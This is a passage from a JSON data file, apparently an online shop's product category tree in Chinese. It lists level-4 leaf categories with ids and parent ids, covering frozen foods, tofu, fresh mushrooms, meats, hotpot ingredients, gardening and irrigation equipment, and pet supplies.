,"extra":null,"is_get_child":false},{"id":34488,"name":"肉燕","parent_cid":28253,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34599,"name":"水饺","parent_cid":28253,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34492,"name":"薯饼","parent_cid":32129,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34597,"name":"薯条","parent_cid":32129,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34490,"name":"蛋挞/蛋挞液","parent_cid":32126,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34491,"name":"派","parent_cid":32126,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34598,"name":"披萨","parent_cid":32126,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34489,"name":"芝士焗饭/焗面/焗薯制品","parent_cid":32126,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34607,"name":"春卷","parent_cid":32131,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34486,"name":"糯米鸡","parent_cid":32131,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34608,"name":"其他","parent_cid":32131,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33619,"name":"冷冻蔬菜","parent_cid":33107,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33620,"name":"去皮蔬菜","parent_cid":33107,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33621,"name":"包浆豆腐","parent_cid":33108,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33627,"name":"冻豆腐","parent_cid":33108,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33622,"name":"豆皮","parent_cid":33108,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33626,"name":"老豆腐","parent_cid":33108,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33625,"name":"面筋","parent_cid":33108,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33624,"name":"千叶豆腐","parent_cid":33108,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33623,"name":"香干","parent_cid":33108,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33853,"name":"其他豆制品","parent_cid":33108,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34208,"name":"鲜北虫草","parent_cid":22433,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34217,"name":"鲜海鲜菇","parent_cid":22433,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34213,"name":"鲜黑木耳","parent_cid":22433,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34215,"name":"鲜猴头菇","parent_cid":22433,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34220,"name":"鲜鸡枞菌","parent_cid":22433,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34219,"name":"鲜金耳","parent_cid":22433,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34209,"name":"鲜金针菇","parent_cid":22433,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34214,"name":"鲜姬松茸","parent_cid":22433,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34224,"name":"鲜菌菇礼盒","parent_cid":22433,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34223,"name":"鲜菌菇汤包","parent_cid":22433,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34210,"name":"鲜牛肝菌","parent_cid":22433,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34221,"name":"鲜松露","parent_cid":22433,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34206,"name":"鲜松茸","parent_cid":22433,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34216,"name":"鲜香菇","parent_cid":22433,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34207,"name":"鲜杏鲍菇","parent_cid":22433,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34218,"name":"鲜羊肚菌","parent_cid":22433,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34212,"name":"鲜银耳/白木耳","parent_cid":22433,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34211,"name":"鲜竹荪","parent_cid":22433,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34222,"name":"其他鲜菌菇","parent_cid":22433,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33618,"name":"蔬菜罐头","parent_cid":33106,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33615,"name":"酸菜","parent_cid":33106,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33617,"name":"其他脱水蔬菜","parent_cid":33106,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33679,"name":"冷冻水果","parent_cid":33129,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33678,"name":"鲜果切","parent_cid":33129,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34605,"name":"鹌鹑肉","parent_cid":32121,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34452,"name":"鹌鹑肉制品","parent_cid":32121,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34074,"name":"非精炼牛油脂","parent_cid":34022,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34073,"name":"非精炼羊油脂","parent_cid":34022,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34072,"name":"非精炼猪油脂","parent_cid":34022,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34075,"name":"其他非精炼动物油脂","parent_cid":34022,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32251,"name":"鹅肝","parent_cid":32189,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32252,"name":"鹅肉","parent_cid":32189,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32253,"name":"鹅肉加工制品","parent_cid":32189,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32254,"name":"鹅肉礼盒","parent_cid":32189,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32115,"name":"鸽肉","parent_cid":22528,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32116,"name":"鸽肉加工制品","parent_cid":22528,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32117,"name":"鸽肉礼盒","parent_cid":22528,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29126,"name":"乳鸽","parent_cid":22528,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29127,"name":"其它","parent_cid":22528,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34467,"name":"火锅丸料组合","parent_cid":22536,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34458,"name":"鸡肉丸类","parent_cid":22536,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34461,"name":"牛肚/牛百叶","parent_cid":22536,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34587,"name":"牛肉丸类","parent_cid":22536,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34457,"name":"蔬菜丸类","parent_cid":22536,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34468,"name":"小酥肉","parent_cid":22536,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34455,"name":"虾丸/虾滑","parent_cid":22536,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33959,"name":"蟹柳/蟹排/蟹味棒","parent_cid":22536,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34464,"name":"鸭肠","parent_cid":22536,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34462,"name":"羊肚","parent_cid":22536,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34463,"name":"鸭血","parent_cid":22536,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34465,"name":"鸭掌","parent_cid":22536,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34466,"name":"鸭胗","parent_cid":22536,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32224,"name":"鱼糕/鱼饼","parent_cid":22536,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34459,"name":"玉米肠/亲亲肠/啵啵肠类","parent_cid":22536,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32226,"name":"鱼丸/鱼滑","parent_cid":22536,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34460,"name":"鱼籽包/芝士丸","parent_cid":22536,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34456,"name":"猪肉丸类","parent_cid":22536,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32096,"name":"鸡块","parent_cid":22534,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32099,"name":"鸡米花","parent_cid":22534,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32100,"name":"鸡内脏","parent_cid":22534,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32097,"name":"鸡排","parent_cid":22534,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32098,"name":"鸡肉丁/片/丝/馅","parent_cid":22534,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32102,"name":"鸡肉加工制品","parent_cid":22534,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32103,"name":"鸡肉礼盒","parent_cid":22534,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29156,"name":"鸡肉丸/肉串","parent_cid":22534,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29137,"name":"鸡胸","parent_cid":22534,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32101,"name":"鸡爪","parent_cid":22534,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29150,"name":"生鸡翅","parent_cid":22534,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29151,"name":"生鸡肉","parent_cid":22534,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29152,"name":"生鸡腿","parent_cid":22534,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34471,"name":"炸鸡类","parent_cid":22534,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29136,"name":"整鸡","parent_cid":22534,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29135,"name":"其它","parent_cid":22534,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34454,"name":"蚕蛹","parent_cid":34026,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34470,"name":"豆丹/豆青虫","parent_cid":34026,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34469,"name":"蜂蛹","parent_cid":34026,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34472,"name":"金蝉/知了猴","parent_cid":34026,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34474,"name":"鹿肉制品","parent_cid":32119,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34604,"name":"生鹿肉","parent_cid":32119,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34603,"name":"生驴肉","parent_cid":32118,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32106,"name":" 牛肉礼盒","parent_cid":22530,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32238,"name":"牛骨类","parent_cid":22530,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29144,"name":"牛腱子","parent_cid":22530,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29131,"name":"牛腩","parent_cid":22530,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29130,"name":"牛排","parent_cid":22530,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32104,"name":"牛肉丁/片/丝/馅/块","parent_cid":22530,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32105,"name":"牛肉加工制品","parent_cid":22530,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29153,"name":"牛肉卷/片","parent_cid":22530,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29140,"name":"牛丸/肉串","parent_cid":22530,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29129,"name":"牛尾","parent_cid":22530,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29143,"name":"牛杂类/内脏类","parent_cid":22530,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29145,"name":"生牛肉","parent_cid":22530,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29128,"name":"其它","parent_cid":22530,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32271,"name":"低温火腿","parent_cid":32196,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32272,"name":"低温培根","parent_cid":32196,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32270,"name":"低温香肠/烤肠","parent_cid":32196,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34602,"name":"生兔肉","parent_cid":32120,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34476,"name":"兔肉制品","parent_cid":32120,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29142,"name":"脊背/羊蝎子","parent_cid":22532,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29155,"name":"生羊排/肋排","parent_cid":22532,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29147,"name":"生羊肉","parent_cid":22532,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29148,"name":"生羊腿","parent_cid":22532,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32107,"name":"羊骨类","parent_cid":22532,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29149,"name":"羊肉串","parent_cid":22532,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32108,"name":"羊肉丁/片/丝/馅/块","parent_cid":22532,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32110,"name":"羊肉加工制品","parent_cid":22532,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29154,"name":"羊肉卷/片","parent_cid":22532,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32112,"name":"羊肉礼盒","parent_cid":22532,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32109,"name":"羊杂类/内脏类","parent_cid":22532,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32111,"name":"整羊/半羊","parent_cid":22532,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29134,"name":"其它","parent_cid":22532,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29139,"name":"鸭肉","parent_cid":22535,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32113,"name":"鸭肉加工制品","parent_cid":22535,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32114,"name":"鸭肉礼盒","parent_cid":22535,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29138,"name":"其它","parent_cid":22535,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32248,"name":"梅花肉/猪颈肉","parent_cid":22531,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29141,"name":"肉丸/肉串","parent_cid":22531,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29146,"name":"生猪肉","parent_cid":22531,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32242,"name":"猪里脊","parent_cid":22531,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32247,"name":"猪内脏","parent_cid":22531,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29133,"name":"猪排","parent_cid":22531,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32239,"name":"猪排骨/骨类","parent_cid":22531,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32246,"name":"猪皮/油/尾","parent_cid":22531,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32240,"name":"猪肉丁/片/丝/馅/块","parent_cid":22531,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32249,"name":"猪肉加工制品","parent_cid":22531,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32250,"name":"猪肉礼盒","parent_cid":22531,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32245,"name":"猪蹄","parent_cid":22531,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32243,"name":"猪腿肉","parent_cid":22531,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32241,"name":"猪五花肉","parent_cid":22531,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32244,"name":"猪肘","parent_cid":22531,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29132,"name":"其它","parent_cid":22531,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32316,"name":"耙子","parent_cid":32177,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32317,"name":"铲头","parent_cid":32177,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32318,"name":"锄头","parent_cid":32177,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32348,"name":"10米清洗套装","parent_cid":32183,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32349,"name":"15米清洗套装","parent_cid":32183,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32350,"name":"20米清洗套装","parent_cid":32183,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32351,"name":"30米清洗套装","parent_cid":32183,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32345,"name":"地埋散射/旋转喷头","parent_cid":32183,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32346,"name":"高压清洗机","parent_cid":32183,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32347,"name":"清洗刷","parent_cid":32183,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32354,"name":"草坪机","parent_cid":32185,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32353,"name":"割草机","parent_cid":32185,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32343,"name":"花托","parent_cid":32182,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32344,"name":"移动托盘","parent_cid":32182,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32339,"name":"辅助型介质","parent_cid":32181,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32341,"name":"颗粒缓释肥","parent_cid":32181,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32340,"name":"配方型介质","parent_cid":32181,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32337,"name":"营养土","parent_cid":32181,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32338,"name":"营养液","parent_cid":32181,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32321,"name":"绿篱机","parent_cid":32178,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32322,"name":"绿篱剪","parent_cid":32178,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32329,"name":"电磁阀","parent_cid":32180,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32330,"name":"阀门箱","parent_cid":32180,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32331,"name":"感应器","parent_cid":32180,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32332,"name":"过滤器","parent_cid":32180,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32333,"name":"控制器","parent_cid":32180,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32334,"name":"秋千架","parent_cid":32180,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32335,"name":"取水阀","parent_cid":32180,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32369,"name":"水管车","parent_cid":32188,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32368,"name":"水枪","parent_cid":32188,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32360,"name":"湿度计","parent_cid":32186,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32359,"name":"温度计","parent_cid":32186,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32361,"name":"园艺检测仪","parent_cid":32186,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32362,"name":"金属摇臂喷头","parent_cid":32187,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32363,"name":"喷泉/水井景观喷头","parent_cid":32187,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32364,"name":"塑料摇臂喷头","parent_cid":32187,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32326,"name":"剪刀","parent_cid":32179,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32327,"name":"手工锯","parent_cid":32179,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32328,"name":"芽接刀","parent_cid":32179,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30637,"name":"厕所","parent_cid":25352,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30642,"name":"笼子","parent_cid":25352,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30638,"name":"木屑","parent_cid":25352,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30641,"name":"秋千","parent_cid":25352,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30645,"name":"散热板","parent_cid":25352,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30643,"name":"食盆","parent_cid":25352,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30644,"name":"喂食器","parent_cid":25352,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30635,"name":"窝","parent_cid":25352,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30639,"name":"浴房","parent_cid":25352,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30640,"name":"浴沙","parent_cid":25352,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30636,"name":"其他","parent_cid":25352,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30634,"name":"宠物服装","parent_cid":25332,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30632,"name":"发饰","parent_cid":25332,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30633,"name":"领结","parent_cid":25332,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30607,"name":"床","parent_cid":25194,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30608,"name":"垫子","parent_cid":25194,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30630,"name":"笼子","parent_cid":25286,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30629,"name":"秋千","parent_cid":25286,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30631,"name":"喂食器","parent_cid":25286,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30628,"name":"其他","parent_cid":25286,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30614,"name":"冲氧泵","parent_cid":25282,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30620,"name":"定时器/自控系统","parent_cid":25282,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":f